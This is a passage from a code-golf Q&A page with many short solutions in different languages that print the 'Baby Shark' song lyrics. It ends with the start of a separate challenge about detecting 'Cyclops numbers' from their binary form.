CRLF EB DE JMP LOOP_VERSE ; repeat verse BABY DB 'Baby$' DADDY DB 'Daddy$' MOMMY DB 'Mommy$' GRAND DB 'Grand' PA DB 'pa$' SHARK DB ' Shark$' DOO DB ' doo$' BANG DB '!' CRLF DB 0DH,0AH,'$' ``` [Try it online!](http://twt86.co?c=vUIB6BYAvUcB6BAAvU0B6AoAvVMB6AQAxkYFbbQJsQSJ6s0hulsBzSHiBrpnAc0hw7MGumIBzSFLdfu6aAHNIeveQmFieSREYWRkeSRNb21teSRHcmFuZHBhJCBTaGFyayQgZG9vJCENCiQ%3D) ***Output*** [![DOS DIR, SHARK](https://i.stack.imgur.com/TsPKA.png)](https://i.stack.imgur.com/TsPKA.png) *(TODO: update this screenshot for one less byte...)* [Answer] # [Python 2](https://docs.python.org/2/), 93 bytes ``` for w in"Baby Daddy Mommy Grandpa Grandma".split():w+=" Shark";print(w+" doo"*6+"\n")*3+w+"!" ``` [Try it online!](https://tio.run/##K6gsycjPM/r/Py2/SKFcITNPySkxqVLBJTElpVLBNz83t1LBvSgxL6UgEULnJirpFRfkZJZoaFqVa9sqKQRnJBZlK1kXFGXmlWiUaysppOTnK2mZaSvF5ClpahlrA4UUlf7/BwA "Python 2 – Try It Online") **94 bytes** ``` for w in"Baby Daddy Mommy Grandpa Grandma".split():print((" doo"*6+"\n%s Shark"%w)*4)[25:]+"!" ``` [Try it online!](https://tio.run/##K6gsycjPM/r/Py2/SKFcITNPySkxqVLBJTElpVLBNz83t1LBvSgxL6UgEULnJirpFRfkZJZoaFoVFGXmlWhoKCmk5OcraZlpK8XkqRYrBGckFmUrqZZraploRhuZWsVqKykq/f8PAA "Python 2 – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~50~~ 41 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` “‡ÍÊТ×myîºpaîºma“#ð«'㢫™v…doo6иyšÐy'!«» ``` ~~Last part `v4FN3Qiy'!«ë…doo6иyšðý},` can definitely be golfed a bit..~~ And I was right, -9 bytes thanks to *@Emigna* (even more than I was expecting). [Try it online.](https://tio.run/##AVAAr/9vc2FiaWX//@KAnOKAocONw4rDkMKiw5dtecOuwrpwYcOuwrptYeKAnCPDsMKrJ8OjwqLCq@KEonbigKZkb2820Lh5xaHDkHknIcKrwrv//w) **Explanation:** ``` “‡ÍÊТ×myîºpaîºma“ # Push dictionary string "baby daddy mommy grandpa grandma" # # Split by spaces: ["baby","daddy","mommy","grandpa","grandma"] ð« # Append a space to each '㢫 '# Append dictionary string "shark" to each ™ # Title-case each word v # Loop `y` over these strings …doo # Push string "doo" 6и # Repeat it 6 times as list yš # Prepend the string `y` at the front of the list Ð # Triplicate this list y'!« '# Push string `y`, concatted with a "!" » # Join everything on the stack by newlines # (and each list implicitly by spaces) # (and after the loop, output the result implicitly) ``` [See this 05AB1E tip of mine (section *How to use the dictionary?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand why `“‡ÍÊТ×myîºpaîºma“` is `"baby daddy mommy grandpa grandma"` and `'ã¢` is `"shark"`. [Answer] # PowerShell, ~~88~~ ~~86~~ ~~85~~ ~~80~~ ~~79~~ 76 bytes -5 bytes thanks to @mazzy -1 byte thanks to @Joey -3 bytes thanks to @AdmBorkBork ``` echo Baby Daddy Mommy Grandpa Grandma|%{,(($a="$_ Shark")+" doo"*6)*3;"$a!"} ``` [Try it online!](https://tio.run/##K8gvTy0qzkjNyfn/PzU5I1/BKTGpUsElMSWlUsE3Pze3UsG9KDEvpSARQucm1qhW62hoqCTaKqnEKwRnJBZlK2lqKymk5OcraZlpahlbK6kkKirV/v8PAA "PowerShell – Try It Online") We've certainly come a long way. # PowerShell (with Text to Speech), 156 bytes This is NOT up to spec, but it's kinda funny. Thanks to @rkeet for the idea! ``` Add-Type -a System.Speech;echo Baby Daddy Mommy Grandpa Grandma|%{(New-Object Speech.Synthesis.SpeechSynthesizer).Speak((($a="$_ Shark")+" doo"*6)*3+" $a")} ``` .NET Text to speech pronunciation is... well... interesting. Keep this in mind when listening. Enjoy! [Answer] # [SOGL](https://github.com/dzaima/SOGLOnline), 40 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` o⅝ηvΒvPΝ┘÷ΖnΨ‘θ{"nOe;‘+ū:" doo”6*+TTPPļ! ``` [Try it here!](https://dzaima.github.io/SOGLOnline/?code=byV1MjE1RCV1MDNCN3YldTAzOTJ2UCV1MDM5RCV1MjUxOCVGNyV1MDM5Nm4ldTAzQTgldTIwMTgldTAzQjglN0IlMjJuT2UlM0IldTIwMTgrJXUwMTZCJTNBJTIyJTIwZG9vJXUyMDFENiorVFRQUCV1MDEzQyUyMQ__,v=0.12) [Answer] # [Java (JDK)](http://jdk.java.net/), 135 bytes ``` v->{for(var s:"Baby Daddy Mommy Grandpa Grandma".split(" "))System.out.println(((s+=" Shark")+" doo".repeat(6)+"\n").repeat(3)+s+"!");} ``` [Try it online!](https://tio.run/##NY4/T8MwEMX3forjJltRvSAxUNoBkJg6RWIBhmucFKf@J/scKary2YMpYnq637t370aaaDvqy9pZyhmOZDxcNwCxnKzpIDNxlSkYDa56ouVk/PnjCyids7ytAoz1iCpsrBqK79gEr16Cz8X16em9Rg8w7Ndpe7gOIYmJEuRHfKbTDK@k9QzH4NwMb4m8jvSnjlDlaA0LBJSynTP3ToXCKtZ@tl4IkZs9QvtN6YKyQdAhoEp97InFQwWfHuX/fC@b3OAdyt2y7m4vD4q6ro8sfLFW/rJls6w/ "Java (JDK) – Try It Online") [Answer] # [Haskell](https://www.haskell.org/), 122 113 108 106 104 bytes ``` s=" Shark";m=do x<-words"Baby Daddy Mommy Grandpa Grandma";("aaa">>x++s++(s>>" doo")++"\n")++x++s++"!\n" ``` [Try it online!](https://tio.run/##JclBCsIwEEbhq4yzShk8QU0WIrhy1a2bX0aotJOUpGJz@qh09fF4I8r0nOfWimcaRuSJe/OaaDsdPylr4TMelS5QrXRLZpWuGVEX7Bq4dwyAQ9hEiogrITBpStyJ8D3@2Q8fftUMr0ielvc6rNlZ174 "Haskell – Try It Online") * `"aaa">>x` replicates `x` 3 times, as `"aaa"` has length 3. * `s>>" doo"` replicates `" doo"` 6 times, as `" Shark"` has length 6! * *2 bytes saved thanks to @Fox* * *2 bytes saved thanks to @Laikoni* [Answer] # [Retina 0.8.2](https://github.com/m-ender/retina/wiki/The-Language/a950ad7d925ec9316e3e2fb2cf5d49fd15d23e3d), ~~77~~ ~~75~~ 74 bytes ``` Baby¶Daddy¶MommyGpaGma G ¶Grand .+ $&s$&s$&s$&S! s S6$*O¶ O doo S Shark ``` [Try it online!](https://tio.run/##K0otycxL/P@fyykxqfLQNpfElBQg5Zufm1vpXpDonpvI5c51aJt7UWJeCpeeNpeKWjEMBStyFXMFm6lo@R/axuXPpZCSn88VzKUQnJFYlP3/PwA "Retina 0.8.2 – Try It Online") Explanation: ``` Baby¶Daddy¶MommyGpaGma G ¶Grand ``` Insert the relations on separate lines. ``` .+ $&s$&s$&s$&S!¶ ``` Expand into four lines. ``` s S6$*O¶ O doo S Shark ``` Expand the placeholders. ~~69~~ 68 bytes in [Retina](https://github.com/m-ender/retina/wiki/The-Language) 1: ``` Baby¶Daddy¶MommyGpaGma G ¶Grand .+ $& Shark .+ 3*$($&6*$( doo)¶)$&! ``` [Try it online!](https://tio.run/##K0otycxLNPz/n8spMany0DaXxJQUIOWbn5tb6V6Q6J6byOXOdWibe1FiXgqXnjaXippCcEZiUTaIbayloqGiZgYkFVLy8zUPbdNUUVP8/x8A "Retina – Try It Online") Explanation: ``` Baby¶Daddy¶MommyGpaGma G ¶Grand ``` Insert the relations on separate lines. ``` .+ $& Shark ``` Append Shark to each. ``` .+ 3*$($&6*$( doo)¶)$&! ``` Expand into whole verses. [Answer] # Python 3, 105 97 96 bytes ``` for x in"Baby","Daddy","Mommy","Grandpa","Grandma":z=x+' Shark';print((z+' doo'*6+"\n")*3+z+"!") ``` [Try it online!](https://tio.run/##K6gsycjPM/7/Py2/SKFCITNPySkxqVJJR8klMSUFRPvm5@aCaPeixLyUgkQYKzdRyaqgKDOvREOjQltdITgjsShbHchIyc9X1zLTVorJU9LUMtau0FECSykqaf7/DwA) A simple Python 3 solution. (9 bytes saved by Jo King and Quintec) [Answer] # bash, 78 bytes ``` printf %s\\n {Baby,Daddy,Mommy,Grand{p,m}a}\ Shark{" `echo doo{,,}{,}`"{,,},!} ``` [TIO](https://tio.run/##FcY7CoAwDADQq0TBLacQwcnJtUNTq1SkH1qXEnL2iG96jlpQLfVO7wVTMyYBz@Q6LuR9xy3H2HGtlDwXjEJiYA9UHx7BnkfI4HNmRGEUO/7BQVQ/) 73 bytes if trailing space is allowed ``` echo ' '{Baby,Daddy,Mommy,Grand{p,m}a}\ Shark{" `echo doo{,,}{,}`"{,,},!} ``` [Answer] # [Perl 6](https://github.com/nxadm/rakudo-pkg), ~~79~~ 78 bytes ``` (<Baby Daddy Mommmy Grandpa Grandma>X~" Shark"X~ |((" doo"x 6)xx 3),'!')>>.say ``` [Try it online!](https://tio.run/##K0gtyjH7/1/DxikxqVLBJTElpVLBNz83N7dSwb0oMS@lIBFC5ybaRdQpKQRnJBZlK0XUKdRoaCgppOTnK1UomGlWVCgYa@qoK6pr2tnpFSdW/v8PAA "Perl 6 – Try It Online") Pretty simple. ### Explanation: ``` <...>X~ # Combine family members " Shark"X~ # With "Shark" and |((" doo"x 6)xx 3) # doo repeated 6 times then 3 times ,'!' # Then ! ( )>>.say # And print each line ``` [Answer] # [Ruby](https://www.ruby-lang.org/), 82 bytes ``` %w(Baby Daddy Mommy Grandpa Grandma).map{|a|puts [a+" Shark"]*4*(" doo"*6+?\n)+?!} ``` [Try it online!](https://tio.run/##KypNqvz/X7VcwykxqVLBJTElpVLBNz83t1LBvSgxL6UgEULnJmrq5SYWVNck1hSUlhQrRCdqKykEZyQWZSvFaploaSgppOTnK2mZadvH5Glq2yvW/v8PAA "Ruby – Try It Online") [Answer] # [///](https://esolangs.org/wiki////), 124 bytes ``` /*/$! //)/Grand//(/Baby//'/Mommy//&/Daddy//%/ doo//$/ Shark//#/a")//"/$%%%%%% /("("("(*&"&"&"&*'"'"'"'*)p#p#p#pa*)m#m#m#ma$! ``` [Try it online!](https://tio.run/##HcY7DsIwEADRPqdI1s7HbuYOCImKihNs5EiRwBjFVU5vop3XTP1o3bfaGhE/dBB4HPpNsHDT9YSZZ8n5mom7pnTNSJ9KAU//2vV4g0MlgOBHq2MREycxcRYTw88ZjSE7o35o7Q8 "/// – Try It Online") [Answer] # JavaScript, 104 bytes More golfing to follow. ``` _=>`Baby Daddy Mommy Grandpa Grandma`.replace(/.+/g,x=>(s=(x+=` Shark`)+` doo`.repeat(6)+` `)+s+s+x+`!`) ``` [Try It Online!](https://tio.run/##JYrLDsIgEADvfEW9LUHbmzd6MCY9efID3BVofZRuA42Br0eimcMkk3nRh6IJz3U7LGxdGXW56R5PdM/iTNZmcWHvsxgCLXalvz1hG9w6k3HQtaqb9kn3EDUkpbG5Pii8USpsLPNvdLTBsQZRa6wkhTuUxfASeXbtzBOMIGX5Ag) [Answer] # PostgreSQL, ~~162~~ ~~156~~ 138 bytes ``` select a||' Shark'||replace(b,'1',repeat(' doo',6))from unnest('{Baby,Daddy,Mommy,Grandpa,Grandma}'::text[])a,unnest('{1,1,1,!}'::text[])b ``` Ungolfed ``` select a || ' Shark' || replace(b,'1',repeat(' doo',6)) from unnest('{Baby,Daddy,Mommy,Grandpa,Grandma}'::text[]) a ,unnest('{1,1,1,!}'::text[]) b ``` Saved ~~6~~ 24 bytes thanks to [`@Nahuel Fouilleul`](https://codegolf.stackexchange.com/users/70745/nahuel-fouilleul)! * use `||` instead of `concat()` * use `unnest('{foo,bar}'::text[])` instead of `regexp_split_to_table('foo,bar')` [DB<>fiddle](https://www.db-fiddle.com/f/3eXzvhDLVnxsuwRy3qAuJs/5) [Answer] # [Emotion](https://github.com/Quantum64/Emotion), 65 [bytes](https://quantum64.github.io/EmotionBuilds/1.1.0///?state=JTdCJTIybW9kZSUyMiUzQSUyMmNvZGVwYWdlJTIyJTdE) ``` 😇😃😟🥕😤😦😇😅🧖💥😛🥒🥥🧖😨🤕😇😁💟😫😳🤠😇😆💟😫😳🌽🍌😘😁🚵😙🚵💥😘😁🧟👍🧟💥🚣❤🤣🏃😢🤯😒😁😵😔😧🧐🤠😇😅🧖💥😛🥒🥥🧗😧🧐🤠 ``` Explanation ``` 😇😃😟🥕 Push literal doo 😤 Push five copies of the first stack value. 😦 Collapse all stack values into a string seperated by spaces, then push that string. 😇😅🧖💥😛🥒🥥🧖 Push literal Shark 😨 Push the difference of the second and first stack values. 🤕 Store the first stack value in the a register. 😇😁💟😫😳🤠 Push literal Grandma 😇😆💟😫😳🌽🍌 Push literal Grandpa 😘😁🚵😙🚵💥 Push literal Mommy 😘😁🧟👍🧟💥 Push literal Daddy 🚣❤ Push literal Baby 🤣 Push literal 6 🏃😢 Push stack values into a list of the size of the first stack value starting with the second stack value. 🤯 Enter an iteration block over the first stack value and push the iteration element register at the begining of each loop. 😒 Push three copies of the first stack value. 😁 Push literal 3 😵 Enter an iteration block over the first stack value. 😔 Push the value contained in the a register. 😧 Push the sum of the second and first stack values. 🧐 Print the first stack value, then a newline. 🤠 Ends a control flow structure. 😇😅🧖💥😛🥒🥥🧗 Push literal Shark! 😧 Push the sum of the second and first stack values. 🧐 Print the first stack value, then a newline. 🤠 Ends a control flow structure. ``` [Try it online!](https://quantum64.github.io/EmotionBuilds/1.1.0///?state=JTdCJTIyaW50ZXJwcmV0ZXJDb2RlJTIyJTNBJTIyJUYwJTlGJTk4JTg3JUYwJTlGJTk4JTgzJUYwJTlGJTk4JTlGJUYwJTlGJUE1JTk1JUYwJTlGJTk4JUE0JUYwJTlGJTk4JUE2JUYwJTlGJTk4JTg3JUYwJTlGJTk4JTg1JUYwJTlGJUE3JTk2JUYwJTlGJTkyJUE1JUYwJTlGJTk4JTlCJUYwJTlGJUE1JTkyJUYwJTlGJUE1JUE1JUYwJTlGJUE3JTk2JUYwJTlGJTk4JUE4JUYwJTlGJUE0JTk1JUYwJTlGJTk4JTg3JUYwJTlGJTk4JTgxJUYwJTlGJTkyJTlGJUYwJTlGJTk4JUFCJUYwJTlGJTk4JUIzJUYwJTlGJUE0JUEwJUYwJTlGJTk4JTg3JUYwJTlGJTk4JTg2JUYwJTlGJTkyJTlGJUYwJTlGJTk4JUFCJUYwJTlGJTk4JUIzJUYwJTlGJThDJUJEJUYwJTlGJThEJThDJUYwJTlGJTk4JTk4JUYwJTlGJTk4JTgxJUYwJTlGJTlBJUI1JUYwJTlGJTk4JTk5JUYwJTlGJTlBJUI1JUYwJTlGJTkyJUE1JUYwJTlGJTk4JTk4JUYwJTlGJTk4JTgxJUYwJTlGJUE3JTlGJUYwJTlGJTkxJThEJUYwJTlGJUE3JTlGJUYwJTlGJTkyJUE1JUYwJTlGJTlBJUEzJUUyJTlEJUE0JUYwJTlGJUE0JUEzJUYwJTlGJThGJTgzJUYwJTlGJTk4JUEyJUYwJTlGJUE0JUFGJUYwJTlGJTk4JTkyJUYwJTlGJTk4JTgxJUYwJTlGJTk4JUI1JUYwJTlGJTk4JTk0JUYwJTlGJTk4JUE3JUYwJTlGJUE3JTkwJUYwJTlGJUE0JUEwJUYwJTlGJTk4JTg3JUYwJTlGJTk4JTg1JUYwJTlGJUE3JTk2JUYwJTlGJTkyJUE1JUYwJTlGJTk4JTlCJUYwJTlGJUE1JTkyJUYwJTlGJUE1JUE1JUYwJTlGJUE3JTk3JUYwJTlGJTk4JUE3JUYwJTlGJUE3JTkwJUYwJTlGJUE0JUEwJTIyJTJDJTIyaW50ZXJwcmV0ZXJBcmd1bWVudHMlMjIlM0ElMjIlMjIlMkMlMjJtb2RlJTIyJTNBJTIyaW50ZXJwcmV0ZXIlMjIlN0Q=) [Answer] # [><>](https://esolangs.org/wiki/Fish), ~~158~~ 115 bytes *Saved a lot of bytes thanks to [Jo King](https://codegolf.stackexchange.com/users/76162/jo-king)* ``` >4>1-&0'krahS '0l3-. ~ ^oa~< ooo:?!/1-'ood 'o \ao'!'^?$6:&~ \!?:o ^'ybaB' ^'yddaD' ^'ymmoM' ^'apdnarG' ^'amdnarG' ; ``` [Try it online!](https://tio.run/##S8sszvj/387EzlBXzUA9uygxI1hB3SDHWFePq04hLj@xzoYrPz/fyl5R31BXPT8/RUE9nysmMV9dUT3OXsXMSq2OK0bR3iqfK069MinRSR1Ep6QkuoAZubn5viBGYkFKXmKRO5iZC2Va//8PAA "><> – Try It Online") You may also want to paste the code in at [fishlanguage.com](https://fishlanguage.com/), where you can see an animation of it ~~swimming~~ running. [Answer] # [Haskell](https://www.haskell.org/), 97 bytes ``` unlines[x++s++p|x<-words"Baby Daddy Mommy Grandpa Grandma",p<-[a,a,a,"!"]] s=" Shark" a=s>>" doo" ``` [Try it online!](https://tio.run/##JcW9DoIwEADgnac4by28AWUwJk5OjMBwUhRCfy49iDTx2a0x5hu@mWSdrM1O93n3dvGTdIdSohS/j7p6hWgEz3RPcCFjEtyCcwmukbxh@u8IS66rjsofPOEwFKIR2pniigVpaRoEEwJmR4sHDbxv7RbB5c/4sPSUXI3MXw "Haskell – Try It Online") This is an optimization of [the Haskell solution](https://codegolf.stackexchange.com/a/180033/20260) by [starsandspirals](https://codegolf.stackexchange.com/users/85486/starsandspirals). The new trick is to iterate over the rows of each stanza with an inner loop, and join the lines using `unlines`, saving the need to explicitly insert newlines. The suffixes of the four lines are `[a,a,a,"!"]`, where `a` is `" doo"` replicated 6 times with `a=s>>" doo"`, where starsandspirals cleverly reuses the six-character-long `s=" Shark"`. Writing `[a,a,a,...]` looks a bit silly, but I'm not seeing a shorter way. A list-monad version is the same length but it looks cool. ``` unlines$(++).(++s)<$>words"Baby Daddy Mommy Grandpa Grandma"<*>[a,a,a,"!"] s=" Shark" a=s>>" doo" ``` [Try it online!](https://tio.run/##JcWxDoIwEIDhnac4Lwwi6hPQDsbEyYlRHU6KQui1TQ9i@vJWjfmT7x9Ipt7azOqaF2dH10u5rutq/0WqptQvH43gge4JjmRMgrNnTnCK5Eyg/5mw2egLbX/hCm@FKIR2oDhhQUq0RjDeY2YaHSgIy9zOETi/u4elp@RdF8IH "Haskell – Try It Online") [Answer] # [C# (Visual C# Interactive Compiler)](http://www.mono-project.com/docs/about-mono/releases/5.0.0/#csc), ~~153~~ 131 bytes ``` foreach(var i in"Baby Daddy Mommy Grandpa Grandma".Split()){var a=i+" Shark doo doo doo doo doo doo\n";Write(a+a+a+i+" Shark!\n");} ``` Thanks to @Destrogio for saving 30 bytes! [Try it online!](https://tio.run/##Sy7WTS7O/P8/Lb8oNTE5Q6MssUghUyEzT8kpMalSwSUxJaVSwTc/N7dSwb0oMS@lIBFC5yYq6QUX5GSWaGhqVoP0JNpmaispBGckFmUrpOTnY8MxeUrW4UWZJakaidogCNegCJTRtK79/x8A "C# (Visual C# Interactive Compiler) – Try It Online") [Answer] # [whenyouaccidentallylose100endorsementsinnationstates](https://github.com/MilkyWay90/whenyouaccidentallylose100endorsementsinnationstates) - ~~123,065~~ ~~121,716~~ ~~113,695~~ ~~100,889~~ 98,554 bytes [The program](https://pastebin.com/CSyW5wSz) ~~I'll golf this later.~~ Done. ~~I'll golf this more (later)~~ Done. ~~I'll golf this even more later.~~ DONE. ~~I'll get the byte count to 5 digits later.~~ YAY. I'll get the byte count to 4 digits (I don't know if this is possible, but I do know it is impossible to get 3 digits with my current approach). [Answer] # [R](https://www.r-project.org/), ~~131~~ ~~122~~ 120 bytes -9 bytes thanks to Giuseppe -2 more bytes, also Giuseppe ``` `?`=c s="Shark" for(x in "Baby"?"Daddy"?"Mommy"?"Grandpa"?"Grandma")cat(rep(" "?x?s?rep("doo",6),3)?" "?x?paste0(s,"!")) ``` [Try it online!](https://tio.run/##K/r/P8E@wTaZq9hWKTgjsShbiSstv0ijQiEzT0HJKTGpUsleySUxJQVE@@bn5oJo96LEvJSCRBgrN1FJMzmxRKMotUBDiUvJvsK@2B7MTsnPV9Ix09Qx1rSHiBckFpekGmgU6ygpKmlq/v8PAA "R – Try It Online") Quite proud of this actually, especially with R being rather poor at handling strings. I started out using `cat(sapply(...))`, but realized a for loop shaves off a few bytes. Abusing the `"?"=c` significantly reduced the amount of parentheses needed. I also tried to do `"*"=rep` to repeat the individual lines of the stanzas and the "doos", but that did not shave off any bytes. # 111 bytes Giuseppe and ASCII-only's alternative, (and better) solution that fixes some spacing issues. ``` write(paste0(rep(c("Baby","Daddy","Mommy","Grandpa","Grandma"),,,4)," Shark",c(rep(strrep(" doo",6),3),"!")),1) ``` [Try it online!](https://tio.run/##K/r/v7wosyRVoyCxuCTVQKMotUAjWUPJKTGpUklHySUxJQVE@@bn5oJo96LEvJSCRBgrN1FJU0dHx0RTR0khOCOxKFtJJxlsQnFJEYhSUkjJz1fSMdPUMQYqUVTS1NQx1Pz/HwA "R – Try It Online") [Answer] # PHP, 104 bytes ``` foreach([Baby,Daddy,Mommy,Grandpa,Grandma]as$s)echo$t=$s.str_pad($u=" Shark",30," doo")," $t $t $s$u! "; ``` Run with `php -nr '<code>'` or [try it online](http://sandbox.onlinephpfunctions.com/code/83c8946a85d4bd60c23e1666dc05cb703d2bd98d). [Answer] # [R](https://www.r-project.org/), ~~126~~ 125 bytes ``` cat(paste(rep(c("Baby","Daddy","Mommy","Grandpa","Grandma"),,,4),c(rep("Shark doo doo doo doo doo doo",3),"Shark!")),sep=" ") ``` This doesn't feel as 'clever' as either [CT Hall](https://codegolf.stackexchange.com/a/180114) or [Sumner18](https://codegolf.stackexchange.com/a/180096)'s answers, but by avoiding the overhead of defining variables it comes out smaller. [Try it online!](https://tio.run/##K/r/PzmxRKMgsbgkVaMotUAjWUPJKTGpUklHySUxJQVE@@bn5oJo96LEvJSCRBgrN1FJU0dHx0RTJxmsUSk4I7EoWyElPx8bVtIx1tSBKFFU0tTUKU4tsFXiUtL8/x8A "R – Try It Online") Edit: Saved 1 byte by using carriage return as per comment by Jonathan Frech [Answer] # [R](https://r-project.org), 139 138 137 bytes ``` s='Shark';d='doo';cat(paste(rep(c('Baby','Daddy','Mommy','Grandpa','Grandma'),e=4),c(rep(paste(s,d,d,d,d,d,d),3),paste0(s,'!'))),sep=' ') ``` There's probably a better way to do the 'doo's but I wasn't able to get it. **Edit:** Replaced '\n' with actual new line at JDL's suggestion; Removed trailing newline at Giuseppe's suggestion. [Try it online](https://tio.run/##RYy9CsMwEIP3vEUn@eCGQLsFLyGQqVOe4OozBIJrY2fp07v5IQQNn5CQcq3FYpolL@jUQmNE52Q1ScrqTfbJOINePj8wBlHd@Y4h7ByzfDXJ5YKA2NsXsTuG50VhvUX8JD7ydivwABFx8cmiAdX6Bw) [Answer] # Plain TeX, 147 Bytes `\input pgffor\def\D{doo~}\def\d{\D\D\D\D\D\D}\def\S{Shark}\def\y{\x~\S~\d\par}\foreach\x in{Baby,Mommy,Daddy,Grandma,Grandpa}{\y\y\y\x~\S!\par}\bye` Rather disappointing, but I haven't posted a TeX answer in ages. Loops are very verbose in teX (and looping over strings isn't even built-in so even this is a bit of a stretch) [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~123~~ 122 bytes -1 byte thanks to ceilingcat ``` #define A" doo doo" f(i){for(i=20;i--;)printf("%.7s Shark%s\n","GrandmaGrandpaMommy\0 Daddy\0 Baby"+i/4*7,i%4?A A A:"!");} ``` [Try it online!](https://tio.run/##HYyxCsIwFABn8xXxSSHRVosUCgaRiuDk5Nrl2TT6kCQldSml3x6rHMdt12TPpolxpVtDruUVcO39T2BGkByND4KO@1xRlinZBXIfIyDZlj2/vzC8k752kMI1oNMW/@nw5q0d6pxfUOtfz/gYYEO7Yl2mlBSnis8cYAlSTXE@covkhGQjWxghFZviFw "C (gcc) – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 42 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` “¡N³»ẋ6Wẋ3;”!ṭ€;Y “¡ʂɓṙṢ®ÑR+£ṭỤṙ»Ḳ瀓¤⁾ċ»Y ``` **[Try it online!](https://tio.run/##y0rNyan8//9Rw5xDC/0ObT60@@GubrNwIGFs/ahhruLDnWsfNa2xjuQCKzjVdHLyw50zH@5cdGjd4YlB2ocWA@Uf7l4CFANq3LHp8HKgYpDKJY8a9x3pPrQ78v9/AA "Jelly – Try It Online")** ### How? ``` “¡N³»ẋ6Wẋ3;”!ṭ€;Y - Link 1: make a verse: familyMember; space+animalName - e.g. "Baby"; " Shark" “¡N³» - dictionary word " doo" ẋ6 - repeat 6 times -> " doo doo doo doo doo doo" W - wrap in a list -> [" doo d..."] ẋ3 - repeat 3 times -> [" doo d..."," doo d..."," doo d..."] ”! - literal '!' character ; - concatenate -> [" doo d..."," doo d..."," doo d...","!"] ; - concatenate inputs ["Baby Shark"] ṭ€ - tack for €ach -> [["Baby Shark"," doo d..."],...,["Baby Shark","!"]] Y - join with newline characters “¡ʂɓṙṢ®ÑR+£ṭỤṙ»Ḳ瀓¤⁾ċ»Y - Main Link: no arguments “¡ʂɓṙṢ®ÑR+£ṭỤṙ» - dictionary words "Baby"+" Daddy"+" Mommy"+" Grandpa"+" Grandma" Ḳ - split at spaces -> ["Baby","Daddy","Mommy","Grandpa","Grandma"] “¤⁾ċ» - dictionary word " Shark" ç€ - call last Link (1) as a dyad for €ach Y - join with newline characters - implicit print ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~39~~ 38 bytes ``` ”‡ÍÊТ×myîºpaîºma”#„o€·À6×3и'!ª”㢔ìâ» ``` [Try it online!](https://tio.run/##yy9OTMpM/f//UcPcRw0LD/ce7jo84dCiw9NzKw@vO7SrIBFE5iYCZZUfNczLf9S05tD2ww1mh6cbX9ihrnhoFVDi8OJDi0DUmsOLDu3@/x8A "05AB1E – Try It Online") ``` ”‡ÍÊТ×myîºpaîºma” # compressed string "Baby Daddy Mommy Grandpa Grandma" # # split on spaces „o€· # dictionary string "o do" À # rotated left: " doo" 6× # string-repeat 6 times: " doo doo doo doo doo doo" 3и # list-repeat 3 times '!ª # append "!" to that list ”㢔ì # prepend "Shark" to each element of that list â # cartesian product » # join by newlines # implicit output ``` [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), 72 bytes (SBCS) ``` ↑,(,∘' Shark'¨'BabyDaddyMommyGrandpaGrandma'(∊⊂⊣)⎕A)∘.,'!',⍨3⍴⊂24⍴' doo' ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT////1HbRB0NnUcdM9QVgjMSi7LVD61Qd0pMqnRJTEmp9M3Pza10L0rMSylIBFO5ieoajzq6HnU1PeparPmob6qjJlCrno66orrOo94Vxo96twDljEyAtLpCSn6@@n@gmkdtEx719j3qan7UuwYocWi9MdBSoHhwkDOQDPHwDP4PAA "APL (Dyalog Unicode) – Try It Online") Explanation: ``` ↑,(,∘' ..'¨'...'(∊⊂⊣)⎕A)∘.,'!',⍨3⍴⊂24⍴' doo' 24⍴' doo'⍝ repeat 'doo' 6 times ⊂ ⍝ box the 'doo's 3⍴ ⍝ make three copies '!',⍨ ⍝ append a `!` at the end '...'(∊⊂⊣)⎕A ⍝ split the long string on capitals ,∘' ..'¨ ⍝ append to all family members ∘., ⍝ construct a table where each row is ⍝ a full verse of the song ↑, ⍝ flatten the resulting verse table ``` -28 thanks to @Adám -2 bytes (-14 before; but I did a few golfs before checking the golfed version) thanks to @Razetime ]
[Question] [ **Task:** Given an integer input, figure out whether or not it is a Cyclops Number. What is a Cyclops number, you may ask? Well, it's a number whose binary representation only has one `0` in the center! **Test Cases:** ``` Input | Output | Binary | Explanation -------------------------------------- 0 | truthy | 0 | only one zero at "center" 1 | falsy | 1 | contains no zeroes 5 | truthy | 101 | only one zero at center 9 | falsy | 1001 | contains two zeroes (even though both are at the center) 10 | falsy | 1010 | contains two zeroes 27 | truthy | 11011 | only one zero at center 85 | falsy | 1010101 | contains three zeroes 101 | falsy | 1100101 | contains three zeroes 111 | falsy | 1101111 | only one zero, not at center 119 | truthy | 1110111 | only one zero at center ``` **Input:** * An integer or equivalent types. (`int`, `long`, `decimal`, etc.) * Assume that if evaluating the input results in an integer overflow or other undesirable problems, then that input doesn't have to be evaluated. **Output:** * Truthy or falsy. * Truthy/falsy output must meet the used language's specifications for truthy/falsy. (e.g. C has `0` as false, non-zero as true) **Challenge Rules:** * Input that is less than 0 is assumed to be falsy and thus does not have to be evaluated. * If the length of the binary representation of the number is even, then the number cannot be a Cyclops number. **General Rules:** * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest answers in bytes wins!. * [Default loopholes](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) are forbidden. * [Standard rules](https://codegolf.meta.stackexchange.com/questions/2419/default-for-code-golf-program-function-or-snippet/2422#2422) apply for your answer with [default I/O rules](https://codegolf.meta.stackexchange.com/questions/2447/default-for-code-golf-input-output-methods/). --- This is my first **Programming Puzzles & Code Golf** challenge, so any feedback on how I should improve would be much appreciated! [Answer] # [Python 2](https://docs.python.org/2/), 30 bytes ``` lambda n:(2*n^2*n+3)**2==8*n+9 ``` [Try it online!](https://tio.run/##DcZLCoAgEADQ/ZzCpVqLZiL64U0iMEoSapIwotObiwcvfHG/mJIzUzrsuaxW8CBJ85wVtdKajOly@/Tu/tgEDmw8hydKNYbbcxRcOskqVYBA0AASUAtdToWA2P8 "Python 2 – Try It Online") Note that `2*n^2*n+3` is the bitwise xor of `2*n` and `2*n+3`, because that's Python's operator precedence. [Answer] # x86 Machine Code, 17 bytes ``` 8D 47 01 31 F8 89 C2 